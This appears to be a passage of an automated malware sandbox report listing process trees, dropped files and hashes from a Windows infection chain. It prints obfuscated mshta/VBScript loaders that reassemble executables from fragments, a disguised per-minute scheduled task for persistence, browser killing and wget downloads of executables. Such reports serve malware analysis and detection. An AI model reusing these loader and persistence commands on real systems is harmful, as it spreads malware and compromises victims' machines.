C:\Windows\System32\cmd.exe"C:\Windows\System32\cmd.exe" /k C:\Users\Admin\AppData\Local\Temp\osmlqedp.kz3\installer.exe /qn CAMPAIGN="654" & exit12⤵
-
C:\Users\Admin\AppData\Local\Temp\osmlqedp.kz3\installer.exeC:\Users\Admin\AppData\Local\Temp\osmlqedp.kz3\installer.exe /qn CAMPAIGN="654"13⤵
-
C:\Windows\System32\cmd.exe"C:\Windows\System32\cmd.exe" /k C:\Users\Admin\AppData\Local\Temp\dxflupx0.pnl\any.exe & exit12⤵
-
C:\Users\Admin\AppData\Local\Temp\dxflupx0.pnl\any.exeC:\Users\Admin\AppData\Local\Temp\dxflupx0.pnl\any.exe13⤵
-
C:\Windows\System32\cmd.exe"C:\Windows\System32\cmd.exe" /k C:\Users\Admin\AppData\Local\Temp\wli5ire4.ohm\customer51.exe & exit12⤵
-
C:\Users\Admin\AppData\Local\Temp\wli5ire4.ohm\customer51.exeC:\Users\Admin\AppData\Local\Temp\wli5ire4.ohm\customer51.exe13⤵
-
C:\Windows\System32\cmd.exe"C:\Windows\System32\cmd.exe" /k C:\Users\Admin\AppData\Local\Temp\fzqiz32t.hb2\gcleaner.exe /mixfive & exit12⤵
-
C:\Users\Admin\AppData\Local\Temp\fzqiz32t.hb2\gcleaner.exeC:\Users\Admin\AppData\Local\Temp\fzqiz32t.hb2\gcleaner.exe /mixfive13⤵
-
C:\Windows\System32\cmd.exe"C:\Windows\System32\cmd.exe" /k C:\Users\Admin\AppData\Local\Temp\ll01foph.0rm\autosubplayer.exe /S & exit12⤵
-
C:\Users\Admin\AppData\Local\Temp\ll01foph.0rm\autosubplayer.exeC:\Users\Admin\AppData\Local\Temp\ll01foph.0rm\autosubplayer.exe /S13⤵
-
C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exepowershell -inputformat none -ExecutionPolicy RemoteSigned -File "C:\Users\Admin\AppData\Local\Temp\nslB8B7.tmp\tempfile.ps1"14⤵
-
C:\Windows\System32\cmd.exe"C:\Windows\System32\cmd.exe" /k C:\Users\Admin\AppData\Local\Temp\l4g40nar.kyf\installer.exe /qn CAMPAIGN=654 & exit12⤵
-
C:\Users\Admin\AppData\Local\Temp\l4g40nar.kyf\installer.exeC:\Users\Admin\AppData\Local\Temp\l4g40nar.kyf\installer.exe /qn CAMPAIGN=65413⤵
-
C:\Users\Admin\AppData\Local\Temp\78-21d4d-1bc-7f788-5f01b8ee8a42c\Donenoqedae.exe"C:\Users\Admin\AppData\Local\Temp\78-21d4d-1bc-7f788-5f01b8ee8a42c\Donenoqedae.exe"11⤵
-
C:\Users\Admin\Pictures\Adobe Films\2xixw5GOKSGVr5JzwPyjGHgm.exe"C:\Users\Admin\Pictures\Adobe Films\2xixw5GOKSGVr5JzwPyjGHgm.exe"8⤵
-
C:\Users\Admin\AppData\Roaming\Calculator\setup.exeC:\Users\Admin\AppData\Roaming\Calculator\setup.exe -cid= -sid= -silent=19⤵
-
C:\Users\Admin\AppData\Roaming\Calculator\Calculator.exe"C:\Users\Admin\AppData\Roaming\Calculator\Calculator.exe" "--loGQqfG2tg"10⤵
-
C:\Users\Admin\AppData\Roaming\Calculator\Calculator.exeC:\Users\Admin\AppData\Roaming\Calculator\Calculator.exe --type=crashpad-handler "--user-data-dir=C:\Users\Admin\AppData\Local\Calculator\User Data" /prefetch:7 --monitor-self-annotation=ptype=crashpad-handler "--database=C:\Users\Admin\AppData\Local\Calculator\User Data\Crashpad" "--metrics-dir=C:\Users\Admin\AppData\Local\Calculator\User Data" --annotation=plat=Win64 --annotation=prod=Calculator --annotation=ver=0.0.13 --initial-client-data=0x21c,0x220,0x224,0x1f8,0x228,0x7ff8da9adec0,0x7ff8da9aded0,0x7ff8da9adee011⤵
-
C:\Users\Admin\AppData\Roaming\Calculator\Calculator.exe"C:\Users\Admin\AppData\Roaming\Calculator\Calculator.exe" --type=utility --utility-sub-type=network.mojom.NetworkService --field-trial-handle=1688,8947998293998972121,13714004821760490023,131072 --lang=en-US --service-sandbox-type=network --no-sandbox --user-data-dir="C:\Users\Admin\AppData\Local\Calculator\User Data" --nwapp-path="C:\Users\Admin\AppData\Local\Temp\nw9928_581573892" --mojo-platform-channel-handle=1744 /prefetch:811⤵
-
C:\Users\Admin\AppData\Roaming\Calculator\Calculator.exe"C:\Users\Admin\AppData\Roaming\Calculator\Calculator.exe" --type=gpu-process --field-trial-handle=1688,8947998293998972121,13714004821760490023,131072 --no-sandbox --user-data-dir="C:\Users\Admin\AppData\Local\Calculator\User Data" --nwapp-path="C:\Users\Admin\AppData\Local\Temp\nw9928_581573892" --start-stack-profiler --gpu-preferences=MAAAAAAAAADgAAAwAAAAAAAAAAAAAAAAAABgAAAAAAAQAAAAAAAAAAAAAAAAAAAAKAAAAAQAAAAgAAAAAAAAACgAAAAAAAAAMAAAAAAAAAA4AAAAAAAAABAAAAAAAAAAAAAAAAUAAAAQAAAAAAAAAAAAAAAGAAAAEAAAAAAAAAABAAAABQAAABAAAAAAAAAAAQAAAAYAAAA= --mojo-platform-channel-handle=1684 /prefetch:211⤵
-
C:\Windows\SysWOW64\cmd.exeC:\Windows\system32\cmd.exe /c Sat14b47e86b9c16b.exe4⤵
-
C:\Users\Admin\AppData\Local\Temp\7zS49684088\Sat14b47e86b9c16b.exeSat14b47e86b9c16b.exe5⤵
- Executes dropped EXE
- Suspicious use of AdjustPrivilegeToken
- Suspicious use of SetWindowsHookEx
-
C:\Windows\SysWOW64\cmd.execmd.exe /c taskkill /f /im chrome.exe6⤵
-
C:\Windows\SysWOW64\taskkill.exetaskkill /f /im chrome.exe7⤵
- Kills process with taskkill
-
C:\Windows\SysWOW64\cmd.exeC:\Windows\system32\cmd.exe /c Sat1427fbafcf251.exe4⤵
-
C:\Users\Admin\AppData\Local\Temp\7zS49684088\Sat1427fbafcf251.exeSat1427fbafcf251.exe5⤵
- Executes dropped EXE
-
C:\Users\Admin\AppData\Local\Temp\7zS49684088\Sat1427fbafcf251.exeC:\Users\Admin\AppData\Local\Temp\7zS49684088\Sat1427fbafcf251.exe6⤵
-
C:\Windows\SysWOW64\cmd.exeC:\Windows\system32\cmd.exe /c Sat1481f5a7e3eccdd.exe4⤵
-
C:\Users\Admin\AppData\Local\Temp\7zS49684088\Sat1481f5a7e3eccdd.exeSat1481f5a7e3eccdd.exe5⤵
- Executes dropped EXE
- Suspicious use of SetWindowsHookEx
-
C:\Users\Admin\AppData\Local\Temp\is-JECD4.tmp\Sat1481f5a7e3eccdd.tmp"C:\Users\Admin\AppData\Local\Temp\is-JECD4.tmp\Sat1481f5a7e3eccdd.tmp" /SL5="$10310,140785,56832,C:\Users\Admin\AppData\Local\Temp\7zS49684088\Sat1481f5a7e3eccdd.exe"6⤵
- Executes dropped EXE
- Loads dropped DLL
- Suspicious use of SetWindowsHookEx
-
C:\Users\Admin\AppData\Local\Temp\7zS49684088\Sat1481f5a7e3eccdd.exe"C:\Users\Admin\AppData\Local\Temp\7zS49684088\Sat1481f5a7e3eccdd.exe" /SILENT7⤵
- Executes dropped EXE
- Suspicious use of SetWindowsHookEx
-
C:\Users\Admin\AppData\Local\Temp\is-16U0O.tmp\Sat1481f5a7e3eccdd.tmp"C:\Users\Admin\AppData\Local\Temp\is-16U0O.tmp\Sat1481f5a7e3eccdd.tmp" /SL5="$20314,140785,56832,C:\Users\Admin\AppData\Local\Temp\7zS49684088\Sat1481f5a7e3eccdd.exe" /SILENT8⤵
- Executes dropped EXE
- Loads dropped DLL
- Suspicious use of SetWindowsHookEx
-
C:\Users\Admin\AppData\Local\Temp\is-IKOTC.tmp\postback.exe"C:\Users\Admin\AppData\Local\Temp\is-IKOTC.tmp\postback.exe" ss19⤵
-
C:\Windows\SysWOW64\cmd.exeC:\Windows\system32\cmd.exe /c Sat14a7594cc5a0116.exe4⤵
-
C:\Users\Admin\AppData\Local\Temp\7zS49684088\Sat14a7594cc5a0116.exeSat14a7594cc5a0116.exe5⤵
- Executes dropped EXE
- Checks SCSI registry key(s)
- Suspicious behavior: EnumeratesProcesses
-
C:\Windows\SysWOW64\rundll32.exerundll32.exe "C:\Users\Admin\AppData\Local\Temp\sqlite.dll",global1⤵
-
C:\Windows\system32\rundll32.exerundll32.exe "C:\Users\Admin\AppData\Local\Temp\sqlite.dll",global1⤵
- Process spawned unexpected child process
-
C:\Windows\system32\svchost.exeC:\Windows\system32\svchost.exe -k SystemNetworkService1⤵
-
C:\Users\Admin\Desktop\SmartFix.exe"C:\Users\Admin\Desktop\SmartFix.exe"1⤵
-
C:\Users\Admin\AppData\Local\Temp\SmartFix\SFXStart.exe"C:\Users\Admin\AppData\Local\Temp\SmartFix\SFXStart.exe" /mainexe=C:\Users\Admin\Desktop\SmartFix.exe2⤵
-
C:\Users\Admin\AppData\Local\Temp\SmartFix\SFXWget.exe"C:\Users\Admin\AppData\Local\Temp\SmartFix\SFXWget.exe" /S /in=Version.txt /out="C:\Users\Admin\AppData\Local\Temp\SmartFix\Version.txt"3⤵
-
C:\Users\Admin\AppData\Local\Temp\SmartFix\wget.exe"C:\Users\Admin\AppData\Local\Temp\SmartFix\wget.exe" --tries=1 --progress=dot --no-check-certificate "https://smartfix.pro/Version.txt" -O "C:\Users\Admin\AppData\Local\Temp\SmartFix\Version.txt"4⤵
-
C:\Users\Admin\Desktop\SmartFix.exe"C:\Users\Admin\Desktop\SmartFix.exe" /autoruns3⤵
-
C:\Users\Admin\AppData\Local\Temp\SmartFix\SFXWget.exe"C:\Users\Admin\AppData\Local\Temp\SmartFix\SFXWget.exe" /in="https://smartfix.pro/autoruns.exe" /out="C:\Windows\SmartFix\AutoRuns.exe" /name=AutoRuns4⤵
-
C:\Users\Admin\AppData\Local\Temp\SmartFix\wget.exe"C:\Users\Admin\AppData\Local\Temp\SmartFix\wget.exe" --tries=1 --progress=dot --no-check-certificate "https://smartfix.pro/autoruns.exe" -O "C:\Windows\SmartFix\AutoRuns.exe"5⤵
-
C:\Windows\SmartFix\Autoruns.exe"C:\Windows\SmartFix\Autoruns.exe"4⤵
-
C:\Windows\SysWOW64\mshta.exe"C:\Windows\System32\mshta.exe" vbsCRIPT: cLOsE (CreaTEobject ( "wscRiPT.sHELl" ). rUN ( "cmD.EXE /C TYPe ""C:\Users\Admin\AppData\Local\Temp\JYCWewAX2vPOJ.EXE"" > JYCWewAX2vPOJ.EXE && stArT JyCwewAX2vPOJ.eXe /p~P_UpSUZjMkOKsY & If ""/p~P_UpSUZjMkOKsY "" == """" for %f iN ( ""C:\Users\Admin\AppData\Local\Temp\JYCWewAX2vPOJ.EXE"" ) do taskkill -iM ""%~NXf"" /f " , 0 , tRUe) )1⤵
-
C:\Windows\SysWOW64\cmd.exe"C:\Windows\System32\cmd.exe" /C TYPe "C:\Users\Admin\AppData\Local\Temp\JYCWewAX2vPOJ.EXE" > JYCWewAX2vPOJ.EXE && stArT JyCwewAX2vPOJ.eXe /p~P_UpSUZjMkOKsY & If "/p~P_UpSUZjMkOKsY " == "" for %f iN ( "C:\Users\Admin\AppData\Local\Temp\JYCWewAX2vPOJ.EXE" ) do taskkill -iM "%~NXf" /f2⤵
-
C:\Program Files (x86)\Company\NewProduct\md8_8eus.exe"C:\Program Files (x86)\Company\NewProduct\md8_8eus.exe"1⤵
-
C:\Program Files (x86)\Company\NewProduct\DownFlSetup999.exe"C:\Program Files (x86)\Company\NewProduct\DownFlSetup999.exe"1⤵
-
C:\Program Files (x86)\Company\NewProduct\inst3.exe"C:\Program Files (x86)\Company\NewProduct\inst3.exe"1⤵
-
C:\Program Files (x86)\Company\NewProduct\cutm3.exe"C:\Program Files (x86)\Company\NewProduct\cutm3.exe"1⤵
-
C:\Windows\SysWOW64\WerFault.exeC:\Windows\SysWOW64\WerFault.exe -u -p 6104 -s 6561⤵
- Program crash
-
C:\Users\Admin\AppData\Local\Temp\kPBhgOaGQk.exe..\kPBhgOAGQK.ExE /PLQtzfgO0m8dRv4iYALOqi1⤵
-
C:\Windows\SysWOW64\mshta.exe"C:\Windows\System32\mshta.exe" vbsCrIPT:cLoSE( CrEaTeoBJeCt( "WscRIpT.sHElL" ). Run ( "cmd /R cOpY /Y ""C:\Users\Admin\AppData\Local\Temp\kPBhgOaGQk.exe"" ..\kPBhgOaGQk.exe&& sTart ..\kPBhgOAGQK.ExE /PLQtzfgO0m8dRv4iYALOqi & If ""/PLQtzfgO0m8dRv4iYALOqi "" == """" for %M in ( ""C:\Users\Admin\AppData\Local\Temp\kPBhgOaGQk.exe"" ) do taskkill -f -iM ""%~NxM"" " , 0 , truE ) )2⤵
-
C:\Windows\SysWOW64\cmd.exe"C:\Windows\System32\cmd.exe" /R cOpY /Y "C:\Users\Admin\AppData\Local\Temp\kPBhgOaGQk.exe" ..\kPBhgOaGQk.exe&& sTart ..\kPBhgOAGQK.ExE /PLQtzfgO0m8dRv4iYALOqi & If "/PLQtzfgO0m8dRv4iYALOqi " == "" for %M in ( "C:\Users\Admin\AppData\Local\Temp\kPBhgOaGQk.exe" ) do taskkill -f -iM "%~NxM"3⤵
-
C:\Windows\SysWOW64\mshta.exe"C:\Windows\System32\mshta.exe" VbScRIpt: CLosE ( cReAteobjEcT ( "wscRiPt.SheLl" ). RUn ( "C:\Windows\system32\cmd.exe /R EcHO UwC:\Users\Admin\AppData\Local\TempNnML~> TRMBiI66.CU & EcHo | Set /P = ""MZ"" > hKS2IU.1Q & COPY /b /Y hKs2Iu.1Q + 9BU~.W + MyBa.V + 1W8lBDVH.AOu + WCWfZ1TN.MJ+ WCBG6.QA + tRMBII66.CU ..\LXQ2G.WC & Del /q *& starT msiexec -Y ..\lXQ2g.WC " , 0, tRUE ) )2⤵
-
C:\Windows\SysWOW64\cmd.exe"C:\Windows\system32\cmd.exe" /R EcHO UwC:\Users\Admin\AppData\Local\TempNnML~> TRMBiI66.CU & EcHo | Set /P = "MZ" >hKS2IU.1Q & COPY /b /Y hKs2Iu.1Q + 9BU~.W + MyBa.V + 1W8lBDVH.AOu + WCWfZ1TN.MJ+ WCBG6.QA + tRMBII66.CU ..\LXQ2G.WC & Del /q *& starT msiexec -Y ..\lXQ2g.WC3⤵
-
C:\Windows\SysWOW64\cmd.exeC:\Windows\system32\cmd.exe /S /D /c" EcHo "4⤵
-
C:\Windows\SysWOW64\cmd.exeC:\Windows\system32\cmd.exe /S /D /c" Set /P = "MZ" 1>hKS2IU.1Q"4⤵
-
C:\Windows\SysWOW64\msiexec.exemsiexec -Y ..\lXQ2g.WC4⤵
-
C:\Windows\system32\werfault.exewerfault.exe /h /shared Global\c8f872c78c934525bc960734c4b2c849 /t 3012 /p 30081⤵
-
C:\Users\Admin\AppData\Local\Temp\120A.exeC:\Users\Admin\AppData\Local\Temp\120A.exe1⤵
-
C:\Users\Admin\AppData\Local\Temp\120A.exeC:\Users\Admin\AppData\Local\Temp\120A.exe2⤵
-
C:\Windows\explorer.exeexplorer.exe1⤵
-
C:\Users\Admin\AppData\Local\Temp\D7DA.exeC:\Users\Admin\AppData\Local\Temp\D7DA.exe2⤵
-
C:\Users\Admin\AppData\Local\Temp\D7DA.exeC:\Users\Admin\AppData\Local\Temp\D7DA.exe3⤵
- Executes dropped EXE
-
C:\Users\Admin\AppData\Local\Temp\11E.exeC:\Users\Admin\AppData\Local\Temp\11E.exe2⤵
-
C:\Users\Admin\AppData\Local\Temp\23AA.exeC:\Users\Admin\AppData\Local\Temp\23AA.exe2⤵
-
C:\Users\Admin\AppData\Local\Temp\7CD8.exeC:\Users\Admin\AppData\Local\Temp\7CD8.exe2⤵
-
C:\Users\Admin\AppData\Local\Temp\7CD8.exeC:\Users\Admin\AppData\Local\Temp\7CD8.exe3⤵
-
C:\Windows\SysWOW64\icacls.exeicacls "C:\Users\Admin\AppData\Local\9749c4cc-fcd5-4549-a8bc-c85d8bdbefd1" /deny *S-1-1-0:(OI)(CI)(DE,DC)4⤵
- Modifies file permissions
-
C:\Users\Admin\AppData\Local\Temp\7CD8.exe"C:\Users\Admin\AppData\Local\Temp\7CD8.exe" --Admin IsNotAutoStart IsNotTask4⤵
-
C:\Users\Admin\AppData\Local\Temp\7CD8.exe"C:\Users\Admin\AppData\Local\Temp\7CD8.exe" --Admin IsNotAutoStart IsNotTask5⤵
-
C:\Users\Admin\AppData\Local\235b6a58-d0c0-4d6f-a710-9f6c6d7df1d4\build2.exe"C:\Users\Admin\AppData\Local\235b6a58-d0c0-4d6f-a710-9f6c6d7df1d4\build2.exe"6⤵
-
C:\Users\Admin\AppData\Local\235b6a58-d0c0-4d6f-a710-9f6c6d7df1d4\build3.exe"C:\Users\Admin\AppData\Local\235b6a58-d0c0-4d6f-a710-9f6c6d7df1d4\build3.exe"6⤵
-
C:\Users\Admin\AppData\Local\235b6a58-d0c0-4d6f-a710-9f6c6d7df1d4\build3.exe"C:\Users\Admin\AppData\Local\235b6a58-d0c0-4d6f-a710-9f6c6d7df1d4\build3.exe"7⤵
-
C:\Windows\SysWOW64\schtasks.exe/C /create /F /sc minute /mo 1 /tn "Azure-Update-Task" /tr "C:\Users\Admin\AppData\Roaming\Microsoft\Network\mstsca.exe"8⤵
- Creates scheduled task(s)
-
C:\Users\Admin\AppData\Local\Temp\8D75.exeC:\Users\Admin\AppData\Local\Temp\8D75.exe2⤵
-
C:\Users\Admin\AppData\Local\Temp\8D64.exeC:\Users\Admin\AppData\Local\Temp\8D64.exe2⤵
-
C:\Windows\SysWOW64\mshta.exe"C:\Windows\System32\mshta.exe" vBSCRipT: CLOSe ( CReATeobjeCT ("wsCriPt.shELL" ). rUN ( "CmD.Exe /q /c TYpe ""C:\Users\Admin\AppData\Local\Temp\8D64.exe"" >..\EQPEwF~GHJ5D.eXE && sTArT ..\EQpEWF~GHj5D.EXe /pZ5QGjTyt68Asb0yBdT2u86meJWIOq & If """" == """" for %K iN ( ""C:\Users\Admin\AppData\Local\Temp\8D64.exe"" ) do taskkill /f -IM ""%~nXK"" " , 0 , TRue ) )3⤵
-
C:\Windows\SysWOW64\cmd.exe"C:\Windows\System32\cmd.exe" /q /c TYpe "C:\Users\Admin\AppData\Local\Temp\8D64.exe" >..\EQPEwF~GHJ5D.eXE && sTArT ..\EQpEWF~GHj5D.EXe /pZ5QGjTyt68Asb0yBdT2u86meJWIOq & If "" == "" for %K iN ( "C:\Users\Admin\AppData\Local\Temp\8D64.exe" ) do taskkill /f -IM "%~nXK"4⤵
-
C:\Users\Admin\AppData\Local\Temp\EQPEwF~GHJ5D.eXE..\EQpEWF~GHj5D.EXe /pZ5QGjTyt68Asb0yBdT2u86meJWIOq5⤵
-
C:\Windows\SysWOW64\mshta.exe"C:\Windows\System32\mshta.exe" vBSCRipT: CLOSe ( CReATeobjeCT ("wsCriPt.shELL" ). rUN ( "CmD.Exe /q /c TYpe ""C:\Users\Admin\AppData\Local\Temp\EQPEwF~GHJ5D.eXE"" >..\EQPEwF~GHJ5D.eXE && sTArT ..\EQpEWF~GHj5D.EXe /pZ5QGjTyt68Asb0yBdT2u86meJWIOq & If ""/pZ5QGjTyt68Asb0yBdT2u86meJWIOq "" == """" for %K iN ( ""C:\Users\Admin\AppData\Local\Temp\EQPEwF~GHJ5D.eXE"" ) do taskkill /f -IM ""%~nXK"" " , 0 , TRue ) )6⤵
-
C:\Windows\SysWOW64\cmd.exe"C:\Windows\System32\cmd.exe" /q /c TYpe "C:\Users\Admin\AppData\Local\Temp\EQPEwF~GHJ5D.eXE" >..\EQPEwF~GHJ5D.eXE && sTArT ..\EQpEWF~GHj5D.EXe /pZ5QGjTyt68Asb0yBdT2u86meJWIOq & If "/pZ5QGjTyt68Asb0yBdT2u86meJWIOq " == "" for %K iN ( "C:\Users\Admin\AppData\Local\Temp\EQPEwF~GHJ5D.eXE" ) do taskkill /f -IM "%~nXK"7⤵
-
C:\Windows\SysWOW64\mshta.exe"C:\Windows\System32\mshta.exe" vBsCrIpT: CloSE ( CrEAtEObjEcT ( "WScrIpt.SheLL" ). RUn ( "cmd /Q /C ecHO | sET /p = ""MZ"" > uYWtD.N & COpy /B /Y uYwTd.N + WTWIUAL0.Kci + KNhwd.RL +ZYKB.3YA +QIKkd6u.7NY + T5IJ2.6Z + L8YYF.2W ..\x3l5OyC.C & Del /q *& sTArt msiexec.exe /Y ..\x3L5OyC.C " , 0 , TRUe ) )6⤵
-
C:\Windows\SysWOW64\cmd.exe"C:\Windows\System32\cmd.exe" /Q /C ecHO | sET /p = "MZ" > uYWtD.N & COpy /B /Y uYwTd.N + WTWIUAL0.Kci + KNhwd.RL +ZYKB.3YA +QIKkd6u.7NY + T5IJ2.6Z + L8YYF.2W ..\x3l5OyC.C & Del /q *& sTArt msiexec.exe /Y ..\x3L5OyC.C7⤵
-
C:\Windows\SysWOW64\cmd.exeC:\Windows\system32\cmd.exe /S /D /c" ecHO "8⤵
-
C:\Windows\SysWOW64\cmd.exeC:\Windows\system32\cmd.exe /S /D /c" sET /p = "MZ" 1>uYWtD.N"8⤵
-
C:\Windows\SysWOW64\msiexec.exemsiexec.exe /Y ..\x3L5OyC.C8⤵
-
C:\Windows\SysWOW64\taskkill.exetaskkill /f -IM "8D64.exe"5⤵
- Kills process with taskkill
-
C:\Users\Admin\AppData\Local\Temp\8A17.exeC:\Users\Admin\AppData\Local\Temp\8A17.exe2⤵
-
C:\Users\Admin\AppData\Local\Temp\9555.exeC:\Users\Admin\AppData\Local\Temp\9555.exe2⤵
-
C:\Users\Admin\AppData\Local\Temp\9835.exeC:\Users\Admin\AppData\Local\Temp\9835.exe2⤵
-
C:\Windows\SystemApps\ShellExperienceHost_cw5n1h2txyewy\ShellExperienceHost.exe"C:\Windows\SystemApps\ShellExperienceHost_cw5n1h2txyewy\ShellExperienceHost.exe" -ServerName:App.AppXtk181tbxbce2qsex02s8tw7hfxa9xb3t.mca1⤵
-
C:\Windows\SystemApps\Microsoft.Windows.Cortana_cw5n1h2txyewy\SearchUI.exe"C:\Windows\SystemApps\Microsoft.Windows.Cortana_cw5n1h2txyewy\SearchUI.exe" -ServerName:CortanaUI.AppXa50dqqa5gqv4a428c9y1jjw7m3btvepj.mca1⤵
-
C:\Windows\system32\compattelrunner.exeC:\Windows\system32\compattelrunner.exe -m:aeinv.dll -f:UpdateSoftwareInventoryW1⤵
-
C:\Windows\SystemApps\Microsoft.MicrosoftEdge_8wekyb3d8bbwe\MicrosoftEdge.exe"C:\Windows\SystemApps\Microsoft.MicrosoftEdge_8wekyb3d8bbwe\MicrosoftEdge.exe" -ServerName:MicrosoftEdge.AppXdnhjhccw3zf0j06tkg3jtqr00qdm0khc.mca1⤵
-
C:\Windows\system32\browser_broker.exeC:\Windows\system32\browser_broker.exe -Embedding1⤵
-
C:\Windows\system32\msiexec.exeC:\Windows\system32\msiexec.exe /V1⤵
-
C:\Windows\syswow64\MsiExec.exeC:\Windows\syswow64\MsiExec.exe -Embedding EF2618AA95089E5082F869972010E600 C2⤵
-
C:\Windows\syswow64\MsiExec.exeC:\Windows\syswow64\MsiExec.exe -Embedding 01ABAD2D9CB3FD0D52A6851C4AB75115 C2⤵
-
C:\Windows\SystemApps\Microsoft.MicrosoftEdge_8wekyb3d8bbwe\MicrosoftEdgeCP.exe"C:\Windows\SystemApps\Microsoft.MicrosoftEdge_8wekyb3d8bbwe\MicrosoftEdgeCP.exe" -ServerName:ContentProcess.AppX6z3cwk4fvgady6zya12j1cw28d228a7k.mca1⤵
-
C:\Windows\SystemApps\Microsoft.MicrosoftEdge_8wekyb3d8bbwe\MicrosoftEdgeCP.exe"C:\Windows\SystemApps\Microsoft.MicrosoftEdge_8wekyb3d8bbwe\MicrosoftEdgeCP.exe" -ServerName:ContentProcess.AppX6z3cwk4fvgady6zya12j1cw28d228a7k.mca1⤵
-
C:\Windows\SystemApps\Microsoft.MicrosoftEdge_8wekyb3d8bbwe\MicrosoftEdgeCP.exe"C:\Windows\SystemApps\Microsoft.MicrosoftEdge_8wekyb3d8bbwe\MicrosoftEdgeCP.exe" -ServerName:ContentProcess.AppX6z3cwk4fvgady6zya12j1cw28d228a7k.mca1⤵
-
C:\Windows\system32\rundll32.exerundll32.exe "C:\Users\Admin\AppData\Local\Temp\sqlite.dll",global1⤵
- Process spawned unexpected child process
-
C:\Windows\SysWOW64\rundll32.exerundll32.exe "C:\Users\Admin\AppData\Local\Temp\sqlite.dll",global2⤵
-
C:\Windows\system32\werfault.exewerfault.exe /h /shared Global\63946188a2194894b2e942dec84ab557 /t 7756 /p 97201⤵
-
C:\Windows\SystemApps\Microsoft.MicrosoftEdge_8wekyb3d8bbwe\MicrosoftEdgeCP.exe"C:\Windows\SystemApps\Microsoft.MicrosoftEdge_8wekyb3d8bbwe\MicrosoftEdgeCP.exe" -ServerName:ContentProcess.AppX6z3cwk4fvgady6zya12j1cw28d228a7k.mca1⤵
Network
MITRE ATT&CK Matrix ATT&CK v6
Replay Monitor
Loading Replay Monitor...
Downloads
-
C:\Users\Admin\AppData\Local\Temp\7zS49684088\libcurl.dllMD5
d09be1f47fd6b827c81a4812b4f7296f
SHA1028ae3596c0790e6d7f9f2f3c8e9591527d267f7
SHA2560de53e7be51789adaec5294346220b20f793e7f8d153a3c110a92d658760697e
SHA512857f44a1383c29208509b8f1164b6438d750d5bb4419add7626986333433e67a0d1211ec240ce9472f30a1f32b16c8097aceba4b2255641b3d8928f94237f595
-
C:\Users\Admin\AppData\Local\Temp\7zS49684088\libcurlpp.dllMD5
e6e578373c2e416289a8da55f1dc5e8e
SHA1b601a229b66ec3d19c2369b36216c6f6eb1c063e
SHA25643e86d650a68f1f91fa2f4375aff2720e934aa78fa3d33e06363122bf5a9535f
SHA5129df6a8c418113a77051f6cb02745ad48c521c13cdadb85e0e37f79e29041464c8c7d7ba8c558fdd877035eb8475b6f93e7fc62b38504ddfe696a61480cabac89
-
C:\Users\Admin\AppData\Local\Temp\7zS49684088\libgcc_s_dw2-1.dllMD5
9aec524b616618b0d3d00b27b6f51da1
SHA164264300801a353db324d11738ffed876550e1d3
SHA25659a466f77584438fc3abc0f43edc0fc99d41851726827a008841f05cfe12da7e
SHA5120648a26940e8f4aad73b05ad53e43316dd688e5d55e293cce88267b2b8744412be2e0d507dadad830776bf715bcd819f00f5d1f7ac1c5f1c4f682fb7457a20d0
-
C:\Users\Admin\AppData\Local\Temp\7zS49684088\libstdc++-6.dllMD5
5e279950775baae5fea04d2cc4526bcc
SHA18aef1e10031c3629512c43dd8b0b5d9060878453
SHA25697de47068327bb822b33c7106f9cbb489480901a6749513ef5c31d229dcaca87
SHA512666325e9ed71da4955058aea31b91e2e848be43211e511865f393b7f537c208c6b31c182f7d728c2704e9fc87e7d1be3f98f5fee4d34f11c56764e1c599afd02
-
C:\Users\Admin\AppData\Local\Temp\7zS49684088\libwinpthread-1.dllMD5
1e0d62c34ff2e649ebc5c372065732ee
SHA1fcfaa36ba456159b26140a43e80fbd7e9d9af2de
SHA256509cb1d1443b623a02562ac760bced540e327c65157ffa938a22f75e38155723
SHA5123653f8ed8ad3476632f731a3e76c6aae97898e4bf14f70007c93e53bc443906835be29f861c4a123db5b11e0f3dd5013b2b3833469a062060825df9ee708dc61
-
C:\Users\Admin\AppData\Local\Temp\7zS49684088\setup_install.exeMD5
47a5d34f871487a79975e5586e63ebdd
SHA175f4f1708c2b0a6433f8c0fa6ff47799115b2d2f
SHA256884c76e10ef7f202b677c0ccfb6e9e009ca79e7189e76509a6449b5f8c2a952f
SHA5123f96662af4937647a78a0a51cb4916f56ee250ab14094ed608344d727489eb0135b4016a73853ca1f96b165fbe9ac7957adb1cc884fff55cea837f668b157d04
-
C:\Users\Admin\AppData\Local\Temp\7zS49684088\setup_install.exeMD5
47a5d34f871487a79975e5586e63ebdd
SHA175f4f1708c2b0a6433f8c0fa6ff47799115b2d2f
SHA256884c76e10ef7f202b677c0ccfb6e9e009ca79e7189e76509a6449b5f8c2a952f
SHA5123f96662af4937647a78a0a51cb4916f56ee250ab14094ed608344d727489eb0135b4016a73853ca1f96b165fbe9ac7957adb1cc884fff55cea837f668b157d04
-
C:\Users\Admin\AppData\Local\Temp\SmartFix\SFXStart.exeMD5
7035c48b92ff299abe0385d88ea8ad0a
SHA19df812643f2955a9e5eee4c8bd442749c37b93d3
SHA25611b306826f6bee85c6942f1f62592643e07c620f2a062419044cecb345c9775b
SHA51286748691c494d789cab126e74a4e858fd87b55fc40226e97df4286764b0df6cee3ba43c38767a62996b5f9ed55a72b26c205d2301ca87b6743500df10d2335bf
-
C:\Users\Admin\AppData\Local\Temp\SmartFix\SFXStart.exeMD5
7035c48b92ff299abe0385d88ea8ad0a
SHA19df812643f2955a9e5eee4c8bd442749c37b93d3
SHA25611b306826f6bee85c6942f1f62592643e07c620f2a062419044cecb345c9775b
SHA51286748691c494d789cab126e74a4e858fd87b55fc40226e97df4286764b0df6cee3ba43c38767a62996b5f9ed55a72b26c205d2301ca87b6743500df10d2335bf
-
C:\Users\Admin\AppData\Local\Temp\SmartFix\SFXStart.exeMD5
7035c48b92ff299abe0385d88ea8ad0a
SHA19df812643f2955a9e5eee4c8bd442749c37b93d3
SHA25611b306826f6bee85c6942f1f62592643e07c620f2a062419044cecb345c9775b
SHA51286748691c494d789cab126e74a4e858fd87b55fc40226e97df4286764b0df6cee3ba43c38767a62996b5f9ed55a72b26c205d2301ca87b6743500df10d2335bf
-
C:\Users\Admin\AppData\Local\Temp\SmartFix\SFXStart.exeMD5
7035c48b92ff299abe0385d88ea8ad0a
SHA19df812643f2955a9e5eee4c8bd442749c37b93d3
SHA25611b306826f6bee85c6942f1f62592643e07c620f2a062419044cecb345c9775b
SHA51286748691c494d789cab126e74a4e858fd87b55fc40226e97df4286764b0df6cee3ba43c38767a62996b5f9ed55a72b26c205d2301ca87b6743500df10d2335bf
-
